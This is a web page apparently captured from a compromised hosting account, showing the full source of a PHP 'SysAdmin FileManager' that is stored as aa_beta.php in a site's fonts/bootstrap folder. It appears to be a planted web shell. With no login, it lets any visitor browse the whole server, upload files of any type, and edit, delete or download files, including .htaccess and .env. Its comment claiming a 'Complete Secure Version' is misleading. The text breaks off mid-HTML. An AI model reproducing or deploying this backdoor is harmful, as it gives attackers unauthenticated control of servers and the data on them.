đ SysAdmin FileManager
Linux 4.18.0-553.121.1.lve.el8.x86_64 | PHP 7.2.34
/ Root
/
home
/
k2202442
/
public_html
/
fonts
/
bootstrap
đ Files
đ¤ Upload
â New
âšī¸ Info
âŦī¸ Up
âī¸ Edit: aa_beta.php
đī¸ View
â Cancel
<?php /** * SysAdmin File Manager - Complete Secure Version * Features: Upload, Download, Edit, View, Create, Rename, Delete * No eval(), no shell_exec(), clean code */ // --- Configuration --- $config = array( 'app_name' => 'SysAdmin FileManager', 'session_duration' => 3600 * 24 * 7, 'debug_mode' => false, 'start_dir' => __DIR__, 'allowed_extensions' => array(), // Empty = allow all 'max_upload_size' => 1024 * 1024 * 1024, // 1GB 'editable_extensions' => array( 'txt', 'log', 'md', 'csv', 'json', 'xml', 'yaml', 'yml', 'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'php8', 'html', 'htm', 'xhtml', 'css', 'scss', 'sass', 'less', 'js', 'jsx', 'ts', 'tsx', 'vue', 'angular', 'py', 'rb', 'pl', 'sh', 'bash', 'zsh', 'c', 'cpp', 'h', 'hpp', 'java', 'cs', 'go', 'rs', 'swift', 'sql', 'env', 'htaccess', 'conf', 'cfg', 'ini', 'properties', 'gitignore', 'dockerfile', 'makefile', 'editorconfig', 'tpl', 'smarty', 'twig', 'blade', 'latte', 'vue', 'svelte', 'astro' ), 'viewable_mime_types' => array( 'text/', 'application/json', 'application/xml', 'application/javascript', 'application/x-javascript', 'application/xhtml+xml', 'image/', 'application/pdf' ), 'image_extensions' => array('jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg', 'ico', 'tiff', 'tif') ); // --- Initialization --- @set_time_limit(0); @ini_set('upload_max_filesize', '1024M'); @ini_set('post_max_size', '1024M'); @ini_set('memory_limit', '512M'); define('DS', DIRECTORY_SEPARATOR); // Session Setup if (session_status() === PHP_SESSION_NONE) { session_set_cookie_params([ 'lifetime' => $config['session_duration'], 'path' => '/', 'secure' => !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off', 'httponly' => true, 'samesite' => 'Lax' ]); session_start(); } // Security Token if (empty($_SESSION['security_token'])) { $_SESSION['security_token'] = bin2hex(random_bytes(32)); } $security_token = $_SESSION['security_token']; // --- Helper Functions --- function clean_input($data) { if (is_array($data)) return array_map('clean_input', $data); $data = trim($data); if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) { $data = stripslashes($data); } return $data; } function sanitize_output($data) { return htmlspecialchars($data, ENT_QUOTES, 'UTF-8'); } $_GET = clean_input($_GET); $_POST = clean_input($_POST); // Error Reporting if ($config['debug_mode']) { error_reporting(E_ALL); ini_set('display_errors', '1'); } else { error_reporting(0); ini_set('display_errors', '0'); } function verify_token($token) { return isset($_SESSION['security_token']) && hash_equals($_SESSION['security_token'], $token); } function format_size($bytes) { if ($bytes === false) return 'N/A'; if ($bytes <= 0) return '0 B'; $units = array('B', 'KB', 'MB', 'GB', 'TB'); $base = log($bytes, 1024); return round(pow(1024, $base - floor($base)), 2) . ' ' . $units[floor($base)]; } function get_perms($file) { if (!file_exists($file)) return '---------'; $perms = @fileperms($file); if ($perms === false) return '---------'; $type = '-'; if (($perms & 0xC000) == 0xC000) $type = 's'; elseif (($perms & 0xA000) == 0xA000) $type = 'l'; elseif (($perms & 0x6000) == 0x6000) $type = 'b'; elseif (($perms & 0x4000) == 0x4000) $type = 'd'; $info = $type; $info .= (($perms & 00400) ? 'r' : '-'); $info .= (($perms & 00200) ? 'w' : '-'); $info .= (($perms & 00100) ? 'x' : '-'); $info .= (($perms & 00040) ? 'r' : '-'); $info .= (($perms & 00020) ? 'w' : '-'); $info .= (($perms & 00010) ? 'x' : '-'); $info .= (($perms & 00004) ? 'r' : '-'); $info .= (($perms & 00002) ? 'w' : '-'); $info .= (($perms & 00001) ? 'x' : '-'); return $info; } function get_owner_name($file) { if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = @posix_getpwuid(@fileowner($file)); $group = @posix_getgrgid(@filegroup($file)); return trim(($owner['name'] ?? 'N/A') . ':' . ($group['name'] ?? 'N/A'), ':'); } return 'N/A'; } function get_file_extension($filename) { return strtolower(pathinfo($filename, PATHINFO_EXTENSION)); } function is_editable($filename) { global $config; $ext = get_file_extension($filename); $name_lower = strtolower(basename($filename)); // Check extension if (in_array($ext, $config['editable_extensions'])) return true; // Check special filenames without extension $special_files = array('.htaccess', '.env', '.gitignore', 'dockerfile', 'makefile', '.editorconfig', '.bashrc', '.bash_profile', '.zshrc', '.profile'); if (in_array($name_lower, $special_files)) return true; return false; } function is_image_file($filename) { global $config; return in_array(get_file_extension($filename), $config['image_extensions']); } function get_mime_type($filepath) { if (function_exists('mime_content_type')) { $mime = @mime_content_type($filepath); if ($mime) return $mime; } if (function_exists('finfo_open')) { $finfo = @finfo_open(FILEINFO_MIME_TYPE); if ($finfo) { $mime = @finfo_file($finfo, $filepath); @finfo_close($finfo); if ($mime) return $mime; } } return 'application/octet-stream'; } function is_binary_content($content) { if (empty($content)) return false; // Check for null bytes and other binary indicators return preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', $content) > 0; } function delete_directory($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) return @unlink($dir); $items = @scandir($dir); if ($items === false) return false; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . DS . $item; if (is_dir($path)) { if (!delete_directory($path)) return false; } else { if (!@unlink($path)) return false; } } return @rmdir($dir); } function safe_download_file($filepath, $filename) { if (!file_exists($filepath) || !is_readable($filepath)) { return false; } $mime = get_mime_type($filepath); $size = @filesize($filepath); // Clear output buffer while (ob_get_level()) { ob_end_clean(); } // Set headers header('Content-Type: ' . $mime); header('Content-Disposition: attachment; filename="' . addslashes($filename) . '"'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . $size); header('Cache-Control: no-cache, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); // Read file in chunks for large files $handle = @fopen($filepath, 'rb'); if ($handle === false) return false; while (!feof($handle)) { echo fread($handle, 8192); flush(); } @fclose($handle); return true; } function create_directory_path($path) { if (is_dir($path)) return true; $parent = dirname($path); if (!create_directory_path($parent)) return false; return @mkdir($path, 0755); } // --- Core Logic --- $self = basename($_SERVER['PHP_SELF']); $message = ''; $message_type = 'info'; $view_content = ''; $edit_content = ''; $edit_filename = ''; // Determine current directory $current_dir = realpath($config['start_dir']); if ($current_dir === false) { $current_dir = dirname(__FILE__); $current_dir = realpath($current_dir); } if ($current_dir === false) { $current_dir = DS; } // Handle directory change from GET if (isset($_GET['cd']) && !empty($_GET['cd'])) { $req_dir = $_GET['cd']; $real_req = @realpath($req_dir); if ($real_req !== false && is_dir($real_req)) { $current_dir = $real_req; } } elseif (isset($_SESSION['current_dir']) && is_dir($_SESSION['current_dir'])) { $current_dir = realpath($_SESSION['current_dir']); if ($current_dir === false) $current_dir = DS; } $_SESSION['current_dir'] = $current_dir; $parent_dir = dirname($current_dir); $has_parent = ($parent_dir !== $current_dir && $parent_dir !== false); // --- Handle POST Actions --- if ($_SERVER['REQUEST_METHOD'] === 'POST') { $token_valid = isset($_POST['security_token']) && verify_token($_POST['security_token']); if (!$token_valid) { $message = "Invalid Security Token. Please refresh the page."; $message_type = 'error'; } else { // UPLOAD if (isset($_FILES['upload_file']) && !empty($_FILES['upload_file']['name'])) { $upload_error = $_FILES['upload_file']['error']; $original_name = basename($_FILES['upload_file']['name']); $file_info = pathinfo($original_name); $ext = strtolower($file_info['extension'] ?? ''); $dest = $current_dir . DS . $original_name; // Check upload errors switch ($upload_error) { case UPLOAD_ERR_INI_SIZE: $message = "File exceeds upload_max_filesize directive."; $message_type = 'error'; break; case UPLOAD_ERR_FORM_SIZE: $message = "File exceeds MAX_FILE_SIZE directive."; $message_type = 'error'; break; case UPLOAD_ERR_PARTIAL: $message = "File was only partially uploaded."; $message_type = 'error'; break; case UPLOAD_ERR_NO_FILE: $message = "No file was uploaded."; $message_type = 'error'; break; case UPLOAD_ERR_NO_TMP_DIR: $message = "Missing temporary folder."; $message_type = 'error'; break; case UPLOAD_ERR_CANT_WRITE: $message = "Failed to write file to disk."; $message_type = 'error'; break; case UPLOAD_ERR_EXTENSION: $message = "Upload stopped by extension."; $message_type = 'error'; break; case UPLOAD_ERR_OK: // Check extension $allowed = empty($config['allowed_extensions']) || in_array($ext, $config['allowed_extensions']); if (!$allowed) { $message = "Extension '$ext' is not allowed."; $message_type = 'error'; } else { // Check file size $file_size = $_FILES['upload_file']['size']; if ($file_size > $config['max_upload_size']) { $message = "File size exceeds maximum limit (" . format_size($config['max_upload_size']) . ")."; $message_type = 'error'; } else { $tmp_name = $_FILES['upload_file']['tmp_name']; $upload_success = false; $error_detail = ''; // Method 1: Standard move_uploaded_file if (@move_uploaded_file($tmp_name, $dest)) { $upload_success = true; } else { $error_detail = error_get_last()['message'] ?? 'Unknown error'; // Method 2: Copy then delete if (@copy($tmp_name, $dest)) { @unlink($tmp_name); $upload_success = true; } else { $error_detail = error_get_last()['message'] ?? $error_detail; // Method 3: Stream copy if (is_uploaded_file($tmp_name)) { $src = @fopen($tmp_name, 'rb'); $dst = @fopen($dest, 'wb'); if ($src && $dst) { while (!feof($src)) { $buffer = fread($src, 8192); if ($buffer === false) break; fwrite($dst, $buffer); } fclose($src); fclose($dst); @unlink($tmp_name); $upload_success = true; } else { if ($src) @fclose($src); if ($dst) @fclose($dst); } } } } if ($upload_success) { @chmod($dest, 0644); $message = "File '$original_name' uploaded successfully."; $message_type = 'success'; } else { $message = "Upload failed. Details: " . $error_detail; $message_type = 'error'; } } } break; } } // CREATE DIRECTORY if (isset($_POST['mkdir']) && !empty($_POST['mkdir'])) { $dir_name = basename(trim($_POST['mkdir'])); if (empty($dir_name)) { $message = "Folder name cannot be empty."; $message_type = 'error'; } else { $new_path = $current_dir . DS . $dir_name; if (file_exists($new_path)) { $message = "Folder '$dir_name' already exists."; $message_type = 'error'; } else { if (@mkdir($new_path, 0755, true)) { @chmod($new_path, 0755); $message = "Folder '$dir_name' created successfully."; $message_type = 'success'; } else { $err = error_get_last(); $message = "Failed to create folder. " . ($err['message'] ?? 'Permission denied.'); $message_type = 'error'; } } } } // CREATE FILE if (isset($_POST['create_file']) && !empty($_POST['create_file'])) { $file_name = basename(trim($_POST['create_file'])); if (empty($file_name)) { $message = "File name cannot be empty."; $message_type = 'error'; } else { $new_path = $current_dir . DS . $file_name; if (file_exists($new_path)) { $message = "File '$file_name' already exists."; $message_type = 'error'; } else { $handle = @fopen($new_path, 'w'); if ($handle) { fclose($handle); @chmod($new_path, 0644); $message = "File '$file_name' created successfully."; $message_type = 'success'; } else { $err = error_get_last(); $message = "Failed to create file. " . ($err['message'] ?? 'Permission denied.'); $message_type = 'error'; } } } } // RENAME if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) { $old_name = basename(trim($_POST['rename_from'])); $new_name = basename(trim($_POST['rename_to'])); if (empty($old_name) || empty($new_name)) { $message = "Names cannot be empty."; $message_type = 'error'; } else { $old_path = $current_dir . DS . $old_name; $new_path = $current_dir . DS . $new_name; if (!file_exists($old_path)) { $message = "Source '$old_name' not found."; $message_type = 'error'; } elseif ($old_path === $new_path) { $message = "Source and destination are the same."; $message_type = 'error'; } elseif (file_exists($new_path)) { $message = "Target '$new_name' already exists."; $message_type = 'error'; } else { if (@rename($old_path, $new_path)) { $message = "Renamed '$old_name' to '$new_name'."; $message_type = 'success'; } else { $err = error_get_last(); $message = "Rename failed. " . ($err['message'] ?? 'Permission denied.'); $message_type = 'error'; } } } } // SAVE EDIT if (isset($_POST['save_edit']) && isset($_POST['edit_content']) && isset($_POST['edit_filename'])) { $filename = basename(trim($_POST['edit_filename'])); $content = $_POST['edit_content']; $filepath = $current_dir . DS . $filename; if (!file_exists($filepath)) { $message = "File '$filename' not found."; $message_type = 'error'; } else { // Decode HTML entities back to actual content $content = html_entity_decode($content, ENT_QUOTES, 'UTF-8'); $result = @file_put_contents($filepath, $content); if ($result !== false) { $message = "File '$filename' saved successfully."; $message_type = 'success'; } else { $err = error_get_last(); $message = "Failed to save file. " . ($err['message'] ?? 'Permission denied or disk full.'); $message_type = 'error'; } } } } } // --- Handle GET Actions --- if ($_SERVER['REQUEST_METHOD'] === 'GET') { // DELETE if (isset($_GET['delete']) && isset($_GET['token'])) { if (verify_token($_GET['token'])) { $target_name = basename($_GET['delete']); $target_path = $current_dir . DS . $target_name; if (!file_exists($target_path)) { $message = "Item '$target_name' not found."; $message_type = 'error'; } else { if (is_dir($target_path)) { if (delete_directory($target_path)) { $message = "Directory '$target_name' deleted."; $message_type = 'success'; } else { $err = error_get_last(); $message = "Failed to delete directory. " . ($err['message'] ?? 'Check permissions.'); $message_type = 'error'; } } else { if (@unlink($target_path)) { $message = "File '$target_name' deleted."; $message_type = 'success'; } else { $err = error_get_last(); $message = "Failed to delete file. " . ($err['message'] ?? 'Permission denied.'); $message_type = 'error'; } } } } else { $message = "Invalid security token."; $message_type = 'error'; } } // DOWNLOAD if (isset($_GET['download']) && isset($_GET['token'])) { if (verify_token($_GET['token'])) { $filename = basename($_GET['download']); $filepath = $current_dir . DS . $filename; if (file_exists($filepath) && is_file($filepath) && is_readable($filepath)) { safe_download_file($filepath, $filename); exit; } else { $message = "File '$filename' not found or not readable."; $message_type = 'error'; } } else { $message = "Invalid security token."; $message_type = 'error'; } } // VIEW FILE if (isset($_GET['view'])) { $filename = basename($_GET['view']); $filepath = $current_dir . DS . $filename; if (!file_exists($filepath)) { $view_content = "<div class='error-box'>File not found.</div>"; } elseif (!is_readable($filepath)) { $view_content = "<div class='error-box'>Cannot read file (Permission denied).</div>"; } else { $mime = get_mime_type($filepath); $ext = get_file_extension($filename); // Image files if (is_image_file($filename)) { if ($ext === 'svg') { $svg_content = @file_get_contents($filepath); $view_content = "<div style='text-align:center; padding:20px;'>" . $svg_content . "</div>"; } else { $view_content = "<div style='text-align:center; padding:20px;'><img src='data:" . $mime . ";base64," . base64_encode(@file_get_contents($filepath)) . "' style='max-width:100%; max-height:80vh; border:1px solid #e2e8f0; border-radius:4px;'></div>"; } } // PDF files elseif ($mime === 'application/pdf') { $view_content = "<div style='text-align:center; padding:20px;'><embed src='data:application/pdf;base64," . base64_encode(@file_get_contents($filepath)) . "' type='application/pdf' width='100%' height='600px'><p><a href='?download=" . urlencode($filename) . "&token=" . $security_token . "' class='btn btn-primary'>Download PDF</a></p></div>"; } // Video files elseif (strpos($mime, 'video/') === 0) { $view_content = "<div style='text-align:center; padding:20px;'><video controls style='max-width:100%;'><source src='data:" . $mime . ";base64," . base64_encode(@file_get_contents($filepath)) . "' type='" . $mime . "'></video></div>"; } // Audio files elseif (strpos($mime, 'audio/') === 0) { $view_content = "<div style='text-align:center; padding:20px;'><audio controls style='width:100%;'><source src='data:" . $mime . ";base64," . base64_encode(@file_get_contents($filepath)) . "' type='" . $mime . "'></audio></div>"; } // Text-based files else { $content = @file_get_contents($filepath); if ($content === false) { $view_content = "<div class='error-box'>Cannot read file content.</div>"; } elseif (is_binary_content($content)) { $view_content = "<div class='error-box'>Binary file - cannot display as text. <a href='?download=" . urlencode($filename) . "&token=" . $security_token . "' class='btn btn-primary' style='margin-top:10px;'>Download File</a></div>"; } else { // Syntax highlighting for code files $code_extensions = array('php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'sql', 'py', 'rb', 'sh', 'bash', 'yaml', 'yml', 'md', 'c', 'cpp', 'java', 'go', 'rs', 'ts', 'vue', 'jsx', 'tsx'); if (in_array($ext, $code_extensions)) { $view_content = "<pre class='code-view'><code class='language-" . sanitize_output($ext) . "'>" . sanitize_output($content) . "</code></pre>"; } else { $view_content = "<pre class='text-view'>" . sanitize_output($content) . "</pre>"; } $file_size = @filesize($filepath); $view_content .= "<div class='file-info-bar'>"; $view_content .= "<span>Size: " . format_size($file_size) . "</span>"; $view_content .= "<span>MIME: " . $mime . "</span>"; $view_content .= "<span>Lines: " . substr_count($content, "\n") . "</span>"; $view_content .= "</div>"; } } } } // EDIT FILE if (isset($_GET['edit'])) { $filename = basename($_GET['edit']); $filepath = $current_dir . DS . $filename; if (!file_exists($filepath)) { $message = "File '$filename' not found."; $message_type = 'error'; } elseif (!is_readable($filepath)) { $message = "Cannot read file '$filename' (Permission denied)."; $message_type = 'error'; } elseif (!is_writable($filepath)) { $message = "File '$filename' is not writable."; $message_type = 'error'; } else { $content = @file_get_contents($filepath); if ($content === false) { $message = "Cannot read file content."; $message_type = 'error'; } elseif (is_binary_content($content)) { $message = "Binary files cannot be edited as text."; $message_type = 'error'; } else { $edit_content = $content; $edit_filename = $filename; } } } } // --- Breadcrumb Function --- function create_breadcrumbs($path) { global $self, $security_token; $parts = explode(DS, $path); $build = ''; $html = '<nav class="breadcrumbs">'; $html .= '<a href="?cd=' . urlencode(DS) . '&token=' . $security_token . '" class="crumb-root">/ Root</a>'; if (!empty($parts[0])) { // Windows path like C:\ $build = $parts[0]; $html .= ' <span class="crumb-sep">/</span> '; $html .= '<a href="?cd=' . urlencode($build) . '&token=' . $security_token . '" class="crumb-link">' . sanitize_output($parts[0]) . '</a>'; array_shift($parts); } else { array_shift($parts); // Remove empty first element from Unix paths } foreach ($parts as $i => $part) { if (empty($part)) continue; $build .= DS . $part; $html .= ' <span class="crumb-sep">/</span> '; if ($i === count($parts) - 1) { $html .= '<span class="crumb-current">' . sanitize_output($part) . '</span>'; } else { $html .= '<a href="?cd=' . urlencode($build) . '&token=' . $security_token . '" class="crumb-link">' . sanitize_output($part) . '</a>'; } } $html .= '</nav>'; return $html; } // --- Get file icon based on extension --- function get_file_icon($filename) { $ext = get_file_extension($filename); $icons = array( 'php' => 'đ', 'phtml' => 'đ', 'html' => 'đ', 'htm' => 'đ', 'xhtml' => 'đ', 'css' => 'đ¨', 'scss' => 'đ¨', 'sass' => 'đ¨', 'less' => 'đ¨', 'js' => 'đ', 'jsx' => 'âī¸', 'ts' => 'đ', 'tsx' => 'âī¸', 'json' => 'đ', 'xml' => 'đ', 'yaml' => 'đ', 'yml' => 'đ', 'py' => 'đ', 'rb' => 'đ', 'java' => 'â', 'go' => 'đĩ', 'rs' => 'đĻ', 'c' => 'âī¸', 'cpp' => 'âī¸', 'h' => 'âī¸', 'sql' => 'đī¸', 'db' => 'đī¸', 'sqlite' => 'đī¸', 'md' => 'đ', 'txt' => 'đ', 'log' => 'đ', 'jpg' => 'đŧī¸', 'jpeg' => 'đŧī¸', 'png' => 'đŧī¸', 'gif' => 'đŧī¸', 'webp' => 'đŧī¸', 'svg' => 'đŧī¸', 'bmp' => 'đŧī¸', 'ico' => 'đŧī¸', 'mp4' => 'đŦ', 'avi' => 'đŦ', 'mkv' => 'đŦ', 'mov' => 'đŦ', 'webm' => 'đŦ', 'mp3' => 'đĩ', 'wav' => 'đĩ', 'ogg' => 'đĩ', 'flac' => 'đĩ', 'pdf' => 'đ', 'doc' => 'đ', 'docx' => 'đ', 'xls' => 'đ', 'xlsx' => 'đ', 'csv' => 'đ', 'ppt' => 'đ', 'pptx' => 'đ', 'zip' => 'đĻ', 'rar' => 'đĻ', 'tar' => 'đĻ', 'gz' => 'đĻ', '7z' => 'đĻ', 'env' => 'đ', 'htaccess' => 'đ', 'conf' => 'âī¸', 'ini' => 'âī¸', 'cfg' => 'âī¸', 'sh' => 'đģ', 'bash' => 'đģ', 'zsh' => 'đģ', 'dockerfile' => 'đŗ', 'gitignore' => 'đĻ', ); return $icons[$ext] ?? $icons[strtolower(basename($filename))] ?? 'đ'; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?php echo sanitize_output($config['app_name']); ?></title> <style> :root { --primary: #2563eb; --primary-hover: #1d4ed8; --primary-light: #dbeafe; --bg-body: #f1f5f9; --bg-card: #ffffff; --text-main: #1e293b; --text-muted: #64748b; --border: #e2e8f0; --danger: #ef4444; --danger-hover: #dc2626; --success: #10b981; --warning: #f59e0b; --info: #0ea5e9; } * { box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif; background: var(--bg-body); color: var(--text-main); margin: 0; padding: 15px; line-height: 1.5; } .container { max-width: 1200px; margin: 0 auto; background: var(--bg-card); border-radius: 12px; box-shadow: 0 4px 6px -1px rgba(0,0,0,0.1), 0 2px 4px -1px rgba(0,0,0,0.06); overflow: hidden; } .header { background: linear-gradient(135deg, var(--primary) 0%, #1e40af 100%); color: white; padding: 18px 25px; display: flex; justify-content: space-between; align-items: center; } .header h1 { margin: 0; font-size: 1.3rem; font-weight: 600; } .header .meta { font-size: 0.8rem; opacity: 0.85; text-align: right; } .top-bar { padding: 12px 20px; border-bottom: 1px solid var(--border); background: #f8fafc; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 10px; } .breadcrumbs { font-size: 0.85rem; color: var(--text-muted); overflow-x: auto; white-space: nowrap; flex: 1; } .crumb-link, .crumb-root { color: var(--primary); text-decoration: none; font-weight: 500; } .crumb-link:hover, .crumb-root:hover { text-decoration: underline; } .crumb-current { color: var(--text-main); font-weight: 700; } .crumb-sep { margin: 0 4px; color: #cbd5e1; } .actions { display: flex; gap: 8px; flex-wrap: wrap; } .btn { padding: 7px 14px; border-radius: 6px; border: none; font-size: 0.85rem; cursor: pointer; text-decoration: none; display: inline-flex; align-items: center; gap: 5px; transition: all 0.2s; white-space: nowrap; font-weight: 500; } .btn-primary { background: var(--primary); color: white; } .btn-primary:hover { background: var(--primary-hover); } .btn-secondary { background: white; border: 1px solid var(--border); color: var(--text-main); } .btn-secondary:hover { background: #f1f5f9; border-color: #cbd5e1; } .btn-danger { background: var(--danger); color: white; } .btn-danger:hover { background: var(--danger-hover); } .btn-success { background: var(--success); color: white; } .btn-success:hover { background: #059669; } .btn-warning { background: var(--warning); color: white; } .btn-warning:hover { background: #d97706; } .btn-sm { padding: 4px 10px; font-size: 0.8rem; } .content { padding: 20px; } .file-table { width: 100%; border-collapse: collapse; font-size: 0.85rem; } .file-table th { text-align: left; padding: 10px 12px; border-bottom: 2px solid var(--border); color: var(--text-muted); font-weight: 600; background: #f8fafc; font-size: 0.8rem; text-transform: uppercase; letter-spacing: 0.5px; } .file-table td { padding: 10px 12px; border-bottom: 1px solid var(--border); vertical-align: middle; } .file-table tbody tr:hover { background: #f8fafc; } .file-name { font-weight: 500; color: var(--text-main); text-decoration: none; display: inline-flex; align-items: center; gap: 8px; } .file-name:hover { color: var(--primary); } .file-icon { font-size: 1.2rem; } .icon-dir { color: #f59e0b; } .action-links { display: flex; gap: 6px; flex-wrap: wrap; } .action-link { color: var(--text-muted); font-size: 0.78rem; text-decoration: none; cursor: pointer; padding: 2px 8px; border-radius: 4px; transition: all 0.2s; } .action-link:hover { background: var(--primary-light); color: var(--primary); } .action-delete { color: var(--danger); } .action-delete:hover { background: #fee2e2; color: var(--danger-hover); } .form-panel { background: #f8fafc; border: 1px solid var(--border); padding: 20px; border-radius: 8px; margin-bottom: 20px; } .form-panel h3 { margin: 0 0 15px 0; font-size: 1.1rem; } .form-row { display: flex; gap: 10px; align-items: center; } .input-control { padding: 8px 12px; border: 1px solid var(--border); border-radius: 6px; font-size: 0.9rem; flex: 1; transition: border-color 0.2s; } .input-control:focus { outline: none; border-color: var(--primary); box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1); } .info-box { background: #e0f2fe; border-left: 4px solid var(--info); padding: 15px; border-radius: 4px; font-size: 0.9rem; } .error-box { background: #fee2e2; border-left: 4px solid var(--danger); padding: 15px; border-radius: 4px; color: #991b1b; } .success-box { background: #d1fae5; border-left: 4px solid var(--success); padding: 15px; border-radius: 4px; color: #065f46; } .toast-container { position: fixed; top: 20px; right: 20px; z-index: 9999; width: 350px; } .toast { background: white; padding: 14px 18px; border-radius: 8px; box-shadow: 0 10px 15px -3px rgba(0,0,0,0.1); margin-bottom: 10px; border-left: 4px solid var(--primary); animation: slideIn 0.3s ease; display: flex; align-items: center; gap: 10px; font-size: 0.9rem; } .toast.success { border-left-color: var(--success); } .toast.error { border-left-color: var(--danger); } .toast.warning { border-left-color: var(--warning); } .code-view, .text-view { background: #1e293b; color: #e2e8f0; padding: 20px; border-radius: 6px; overflow-x: auto; font-family: 'Fira Code', 'Cascadia Code', 'Consolas', monospace; font-size: 0.85rem; line-height: 1.6; max-height: 70vh; overflow-y: auto; white-space: pre-wrap; word-wrap: break-word; } .text-view { background: #fefce8; color: #1e293b; border: 1px solid var(--border); } .file-info-bar { display: flex; gap: 20px; padding: 10px 15px; background: #f1f5f9; border-radius: 4px; margin-top: 10px; font-size: 0.8rem; color: var(--text-muted); } .editor-container { position: relative; } .editor-textarea { width: 100%; min-height: 500px; padding: 15px; border: 1px solid var(--border); border-radius: 6px; font-family: 'Fira Code', 'Cascadia Code', 'Consolas', monospace; font-size: 0.9rem; line-height: 1.5; resize: vertical; tab-size: 4; background: #1e293b; color: #e2e8f0; } .editor-textarea:focus { outline: none; border-color: var(--primary); box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.2); } .editor-actions { display: flex; gap: 10px; margin-top: 15px; padding-top: 15px; border-top: 1px solid var(--border); } .modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 1000; display: none; align-items: center; justify-content: center; } .modal { background: white; padding: 25px; border-radius: 10px; width: 420px; max-width: 90%; z-index: 1001; box-shadow: 0 20px 25px -5px rgba(0,0,0,0.1); } .modal h3 { margin: 0 0 15px 0; } .rename-input { width: 100%; padding: 10px 12px; border: 1px solid var(--border); border-radius: 6px; font-size: 1rem; margin: 10px 0; } .rename-input:focus { outline: none; border-color: var(--primary); box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1); } .modal-actions { display: flex; justify-content: flex-end; gap: 10px; margin-top: 20px; } .quick-actions { display: flex; gap: 8px; margin-bottom: 20px; flex-wrap: wrap; } .quick-actions form { flex: 1; min-width: 200px; } .perm-cell { font-family: 'Fira Code', monospace; font-size: 0.75rem; color: var(--text-muted); } .owner-cell { font-size: 0.75rem; color: var(--text-muted); } .size-cell { font-family: 'Fira Code', monospace; font-size: 0.8rem; } .date-cell { font-size: 0.8rem; color: var(--text-muted); } .empty-state { text-align: center; padding: 40px; color: var(--text-muted); } .empty-state-icon { font-size: 3rem; margin-bottom: 10px; } @keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } } @media (max-width: 768px) { .header { flex-direction: column; gap: 10px; text-align: center; } .top-bar { flex-direction: column; align-items: stretch; } .actions { justify-content: center; } .file-table { font-size: 0.75rem; } .file-table th:nth-child(3), .file-table td:nth-child(3), .file-table th:nth-child(4), .file-table td:nth-child(4) { display: none; } } </style> </head> <body> <div class="container"> <div class="header"> <h1>đ <?php echo sanitize_output($config['app_name']); ?></h1> <div class="meta"> <?php echo sanitize_output(php_uname('s') . ' ' . php_uname('r')); ?> | PHP <?php echo PHP_VERSION; ?> </div> </div> <div class="top-bar"> <?php echo create_breadcrumbs($current_dir); ?> <div class="actions"> <a href="?" class="btn btn-secondary">đ Files</a> <a href="?action=upload" class="btn btn-secondary">đ¤ Upload</a> <a href="?action=create" class="btn btn-secondary">â New</a> <a href="?action=info" class="btn btn-secondary">âšī¸ Info</a> <?php if ($has_parent): ?> <a href="?cd=<?php echo urlencode($parent_dir); ?>&token=<?php echo $security_token; ?>" class="btn btn-secondary">âŦī¸ Up</a> <?php endif; ?> </div> </div> <div class="content"> <div class="toast-container" id="toastContainer"> <?php if ($message): ?> <div class="toast <?php echo $message_type; ?>"> <span><?php echo sanitize_output($message); ?></span> </div> <?php endif; ?> </div> <?php if (isset($_GET['action']) && $_GET['action'] == 'upload'): ?> <div class="form-panel"> <h3>đ¤ Upload File</h3> <p style="font-size:0.85rem; color:var(--text-muted); margin-bottom:15px;"> Target: <strong><?php echo sanitize_output($current_dir); ?></strong><br> Max size: <?php echo format_size($config['max_upload_size']); ?> <?php if (!empty($config['allowed_extensions'])): ?> | Allowed: <?php echo implode(', ', $config['allowed_extensions']); ?> <?php endif; ?> </p> <form method="post" enctype="multipart/form-data" id="uploadForm"> <input type="hidden" name="security_token" value="<?php echo $security_token; ?>"> <div class="form-row"> <input type="file" name="upload_file" class="input-control" required> <button type="submit" class="btn btn-primary">Upload</button> </div> </form> <div id="uploadProgress" style="display:none; margin-top:15px;"> <div style="background:#e2e8f0; border-radius:4px; overflow:hidden; height:8px;"> <div id="progressBar" style="background:var(--primary); height:100%; width:0%; transition:width 0.3s;"></div> </div> <p id="progressText" style="font-size:0.8rem; color:var(--text-muted); margin-top:5px;">Uploading...</p> </div> </div> <?php elseif (isset($_GET['action']) && $_GET['action'] == 'create'): ?> <div class="form-panel"> <h3>â Create New</h3> <form method="post" style="margin-bottom:15px;"> <input type="hidden" name="security_token" value="<?php echo $security_token; ?>"> <div class="form-row"> <input type="text" name="mkdir" class="input-control" placeholder="New folder name..."> <button type="submit" class="btn btn-primary">đ Create Folder</button> </div> </form> <form method="post"> <input type="hidden" name="security_token" value="<?php echo $security_token; ?>"> <div class="form-row"> <input type="text" name="create_file" class="input-control" placeholder="New file name (e.g., config.php)..."> <button type="submit" class="btn btn-success">đ Create File</button> </div> </form> </div> <?php elseif (isset($_GET['action']) && $_GET['action'] == 'info'): ?> <div class="form-panel"> <h3>âšī¸ System Information</h3> <div class="info-box"> <table style="width:100%; border-collapse:collapse;"> <tr><td style="padding:5px 10px; font-weight:600;">Server Software</td><td style="padding:5px 10px;"><?php echo sanitize_output($_SERVER['SERVER_SOFTWARE'] ?? 'N/A'); ?></td></tr> <tr 